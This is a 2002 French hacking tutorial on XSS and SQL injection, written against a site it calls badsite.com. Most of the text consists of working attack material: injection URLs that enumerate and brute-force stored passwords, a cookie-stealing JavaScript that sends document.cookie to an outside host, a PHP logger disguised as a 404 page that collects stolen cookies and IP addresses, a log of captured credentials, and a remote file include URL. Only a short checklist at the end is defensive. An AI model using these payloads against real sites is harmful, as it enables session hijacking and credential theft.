|
Il y a actuellement 8 visiteurs connectés sur le site !
Introduction au Cross Site Scripting
|
Introduction au Cross Site Scripting
|
|
Introduction
Je ne voulais pas écrire un article sur le sujet, mais vu la profusion de sites sensible et
surtout depuis que j'ai consulté un site d'un ami, à qui j'avais maintes fois relaté le sujet,
j'ai décidé de présenter mon petit article sur le XSS.
Definition
Le Cross Site Scripting est une nouvelle forme d'exploitation de failles HTTP, directement
liées à des erreurs ou négligeance de programmation.
Je parlerai de XSS, qui est l'acronyme donné au 'Cross Site Scripting' et non pas CSS, qui
pourrait porter à confusion avec le 'Cascading Style Sheet'.
Il faut savoir que le protocole HTTP ne propose aucune fonctionnalité afin de mémoriser
des paramètres pendant le passage d'une page à une autre.Pour cela il existe plusieurs possibilités:
GET,POST et COOKIE*. Avec l'émergence de langage de scripting permettant de générer des pages web
dynamiquement, il y a encore BEAUCOUPS de sites web sensible à ce type de failles.
Dans le présent article nous allons traiter des failles exploitant l'injection SQL et l'insertion de code
javascript et bien sur les moyens de se protéger.
* ou GPC, en PhP se sont les tableaux associatifs $HTTP_GET_VARS,$HTTP_POST_VARS,$HTTP_COOKIE_VARS ou $_GET,$_POST,$_COOKIE,
reportez vous à la documentation PhP sur www.php.net ou dev.nexen.net pour plus d'information.
Recherche et exploitation de failles XSS
L'erreur de certains développeurs web est de penser que les variables venues en GPC (ou d'environnement ;)
sont forcément valides et intégres !!! Ce qui est totalement faux, il est très facile au contraire de modifier
les valeurs de ces variables, autant qu'il est très simple de se protéger. Mettons nous du coté de la
personne malveillante et mettons en évidence ces petites erreurs de développement.Je suis tombé sur un site
permettant de consulter des fiches de personnes inscrites.
Voici le format de l'url :
http://www.badsite.com/view_fiche.php?id=10
(Note : ne jamais croire qu'une popup sans toolbar ou rien ne permet pas de connaitre une url,
un simple ctrl+N suffit sous IE)
Il est très simple de voir que l'id va permettre de trouver la fiche de l'utilisateur ayant l'id 10 dans la base
de données (on présume que c'est une DB). En théorie, afin d'éviter une injection SQL, une ligne suffit :
if ( !ereg("^[0-9]{1,3}$",$_GET["id"]) ) { erreur_site(); } // $id est-il différent d'un nombre entre 0 et 999 ?
Malheureusement l'intégrité de la variable n'est absolument pas vérifiée et de plus les erreur SQL sont affichée (:
Testons des valeurs :
http://www.badsite.com/view_fiche.php?id=f0k
Erreur SQL !
SELECT * FROM users where id=f0k
Unknown column 'f0k' in 'where clause'
ahahah, nous connaissons de suite la requête utilisée, ce qui va nous faciliter la tache.
Quels sont les avantages à tirer de cette faille. Et bien j'ai pu connaitre les droits de certains users afin
de connaitre les fiches admin, connaitre les mots de passe de certaines fiches
ou bien le nombre de caractères des
mots de passe et pleins de trucs inutiles.
Mais comment connaitre le nom du champs des mots de passe ????
Erreur SQL !
SELECT * FROM users where id=5000 OR pass=id
Unknown column 'pass' in 'where clause'
L'erreur SQL est très explicite (:, le champs pass n'existe pas, avec un peu de réflexion
(mais pas trop) nous arrivons à savoir que
ce champs se nomme : passwd ( en général : pass, password, passwd, motdepasse, mot_de_passe, mdp ...)
un truc facile :
http://www.badsite.com/view_fiche.php?id=5000%20OR%20pseudo=passwd%20LIMIT%200,1
génére la requête : SELECT * FROM users WHERE id=5000 OR pseudo=passwd LIMIT 0,1
et nous renvoie les fiches dont le mot de passe et le meme que le pseudo (:
le LIMIT nous permettra de faire une recherche de tout les users dans ce cas
en modifiant l'offset 0,1,2,3... etc
Permet de connaitre les fiches dont le mot de passe ne fait qu'un caract�re :
http://www.badsite.com/view_fiche.php?id=5000%20%OR%20length(passwd)%3C2%20LIMIT%200,1
SELECT * FROM users WHERE id=5000 OR length(passwd)<2 LIMIT 0,1
La,le problème est aussi assez grave puisque que les mots de passe sont stockés en clair dans la base de données.
Alors qu'il existe des fonctionnalités permettant de générer des hash md5, celles-ci ne sont pas utilisées.
Il faut reconnaitre que c'est un coup de chance la:
Heureusement que le magic_quote est activé !!!!!
http://www.badsite.com/view_fiche.php?id=5000%20OR%20passwd%20LIKE%20%27blabla%27%20LIMIT%200,1
SELECT * FROM users WHERE id=5000 OR passwd LIKE 'blabla' LIMIT 0,1
génére une erreur SQL car les ' deviennent des \' (: sinon cela aurait permis d'exploiter une large
palette de requetes avec des expressions régulières afin de trouver des mots de passe.
ceux des administrateurs du site par exemple (:
mais mais mais ... il y a une méthode différente pour justement de contourner les magics-quotes :
SELECT * FROM users WHERE id=2 AND passwd=char(103,103,103)
est équivaut à :
SELECT * FROM users WHERE id=2 AND passwd='ggg'
(:
note : un site utile pour des petites manipulations ASCII comme celle-ci http://www.asciitable.com
un judicieux usage de LENGTH permet de récupérer la longueur du pass
ensuite il suffit de progresser comme ceci :
SELECT * FROM users WHERE id=1 AND left(passwd,1)=char(103)
SELECT * FROM users WHERE id=1 AND left(passwd,2)=char(103,103)
etc... jusqu'à matché
il est évident que pour des raisons de performance, ils vous faudra coder un brute force
(rapide en php,perl,rebol ou autre ...)
SELECT * FROM users WHERE id=5000 OR admin>9 ... au bout de quelques requêtes on a la liste des
utilisateurs ayant les droits les plus élevés.
voila à quoi sert (et oui, un seul test conditionnel) :
if ( !ereg("^[0-9]{1,4}$",$id) ) { erreur_site(); } // vérifie que $id est bien une valeur entre 0 et 9999
à éviter qu'on fait mumuse avec votre base de données.
Les informations que l'ont peut récupérer dépendent de la requête, c'est pourquoi l'exploration de
tout le site est nécessaire afin de chercher un maximum de réinjection possible.
Ou mieux, les utilisateurs de ce site peuvent supprimer les commentaires postés sur leur fiche.
L'authentification est vérifié lors de la lecture des commentaires et de la supression.
Mais en revanche il n'est pas vérifié que le commentaire à supprimer appartient bien à l'utilisateur.
On s'inscrit sur le site, et hop on peut supprimer TOUS les commentaires.
Encore une négligence (:
Pire encore, croire que les valeurs d'un formulaire sont forcément intégre !!!
Il est très facile de changer un formulaire et de le modifier.
Toujours sur ce meme site, il y avait une faille dans un autre genre. L'injection de code HTML.
Les conséquences de ce genres de faille sont bien pire dans certains cas.
J'avais constaté que les variables passées en POST via le formulaire n'était pas vérifiées et que l'on
pouvait très facilement les passer en GET , ce qui facilite bien la tache
et m'a évité de faire un copier/coller
du formulaire afin de créer une page qui m'aurait permis de faire la meme chose sans soucis.
cela donne une URL du genre :
http://www.badsite.com/add_fiche.php?pseudo=f0k&nom=you&annee=1978&jour=7&mois=aout& ....
que vois je sur ce site : l'année s'affiche, un simple test me permet de voir si il y a une possibilité d'injection
HTML :
http://www.badsite.com/add_fiche.php?pseudo=f0k&nom=you&annee=%3CB%3E1978%3C%2FB%3E&jour=7&mois=aout&
note : %3C = < ; %3E = > ; %2F = / ; %20 = espace
et résultat , 1978 s'affiche en gras sur le site ( 1978 ) , je suis fixé.
Comment exploiter cette faille ?
Vous pouvez insérer un code javascript simplement comme ceci :
Cela aura pour conséquence de charger votre propre code javascript distant. A quoi ca sert ?
Et bien grace à ca j'ai pu récupérer les cookies d'un utilisateur loggé sur le site en lui demandant de
cliquer sur le lien contenant le XSS (que je n'avais pas caché puisqu'il s'agissait de test
avec un des webmaster, mais il est très simple via une frame et une redirection de faire croire à
l'user qu'il va sur : http://grossecochonne.free.fr/secretpicture/index.php )
Voici le code javascript :
function CheckCookie () {
var lf = "\n";
var CookieString = document.cookie;
return CookieString;
}
recupcookie=CheckCookie();
open("http://www.hehe.com/mal1.php?"+recupcookie,
"nike","toolbar=no,location=no,directories=no,status=yes,
menubar=no,scrollbars=yes,resizable=yes,width=600,height=300");
document.location="http://grossecochonne.free.fr/index.php";
|
Ce code récupére les cookies d'un utilisateur, donc si il est éxécuté comme ceci :
http://www.badsite.com/add_fiche.php?annee=%3C%20script%20src=
http://www.hehe.com/mal1.js%20%3E%3C%2Fscript%3E
Il récupérera les cookies de www.badsite.com (:
Ensuite il ouvre une popup qui envoie le résultat en GET vers une page en php chargée d'enregistrer tout
cela dans un ficher.Pour terminer, on redirige l'utilisateur sur un site valide, afin d'éviter
qu'il ne s'apercoit de la supercherie. Bien sur cela dépendra beaucoup de la qualité du fake et de la
manière dont le site non securisé traite la variable 'annee'.
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<?php
$fp=fopen("listecookie","a+");
fputs($fp,"---------------------------------------------------------------------\n",255);
fputs ($fp,date("Y-m-d H:i:s")."\n",255);
foreach ($HTTP_GET_VARS as $cle=>$element)
{
fputs($fp,"".$cle." = ".$element.".\n",255);
}
fputs($fp,"Adresse IP: ".$REMOTE_ADDR."\n",255);
fputs($fp,"---------------------------------------------------------------------\n",255);
fclose($fp);
?>
|
Not Found
The requested URL grossecochonne.free.fr/secretpicture/news.php was not found on this server.
<address>Apache/1.3.26 Server at grossecochonne.free.fr Port 80</address>
</body>
</head>
Voici le code php. très simple, il récupére la liste des variables passée en GET
et les enregistre dans un fichier
cela donne au final sur http://www.hehe.com/listecookie
---------------------------------------------------------------------
2002-09-01 22:58:50
id_c2l = 64088ac40459322f5faa65ecafcd77cf; c2l_login=hihihi; c2l_password=jsuisgay;
supercompteur=dejavu.
Adresse IP: 80.11.813.456
---------------------------------------------------------------------
et hop un ptit hijack de session , ou mieux maintenant nous avons le login et le pass
d'ailleurs je me demande à quoi cela sert encore vu qu'il y a un numéro de session ...
Ohlala, mais cela n'est encore rien, la pire des failles XSS est avec le bien connu include qui permettra
d'injecter dans certains cas du codes php, les conséquences sont bien plus facheuse à ce niveau puisque
il est possible de récupérer tout les codes sources, mot de passe de base de données.
http://www.badsite.com/index.php?file=http://www.hihihi.com/recup_source.php
et hop la (: on récupére ce que l'ont veux
Dans certains cas (selon la configuration du serveur web) on peut meme accéder à des fichiers
en dehors de l'arborescence du serveur web ( /etc/passwd par exemple)
C'est la caverne d'Ali Baba.
Conclusion
Ce petit article n'est pas le premier, ni le dernier sur le sujet. Toutefois il permet de mettre en évidence
des points très important lors de développement dynamique de site web, et la, quelque soit le langage utilisé.
* PRENEZ LE TEMPS DE REGARDER LES OPTIONS DE SECURITE DU SERVEUR WEB ET DU LANGAGE
* SI VOUS DEVEZ STOCKE DES MOTS DE PASSES, CRYPTEZ LES TOUS !!!
* VERIFIEZ TOUJOURS L'INTEGRITE DES DONNEES RECUES QUELQUE SOIT LEUR PROVENANCE
* NE PASSEZ JAMAIS UN NOM DE FICHIER DANS UNE URL
Le webmaster m'a dit lorsque je lui donnais les failles :
>
le problème, c'est que ce n'est pas prise de tete, c'est très simple et amusant à faire.
Quelques articles ...
RFC 1945 - HyperText Transfert Protocol
http://www.phpadvisory.com/articles/view.phtml?ID=4
http://www.cgisecurity.com/articles/xss-faq.shtml
http://projet7.tuxfamily.org/factory/exploits/p7include
http://www.ouah.org (pas mal de ressources sur le XSS et l'injection SQL)
Enfin le meilleur de tous :
http://www.google.fr/search?q=XSS+Cross+scripting$ie=UTF-8$oe=UTF-8$hl=fr$meta=
(regardez l'url de google (: )
sur neworder.box.sk, il y a aussi des articles sur le XSS.
--------------------------------------------------------------
20/09/2002 - phat[at]ircopz[dot]net
--------------------------------------------------------------
Sources de l'article
|
|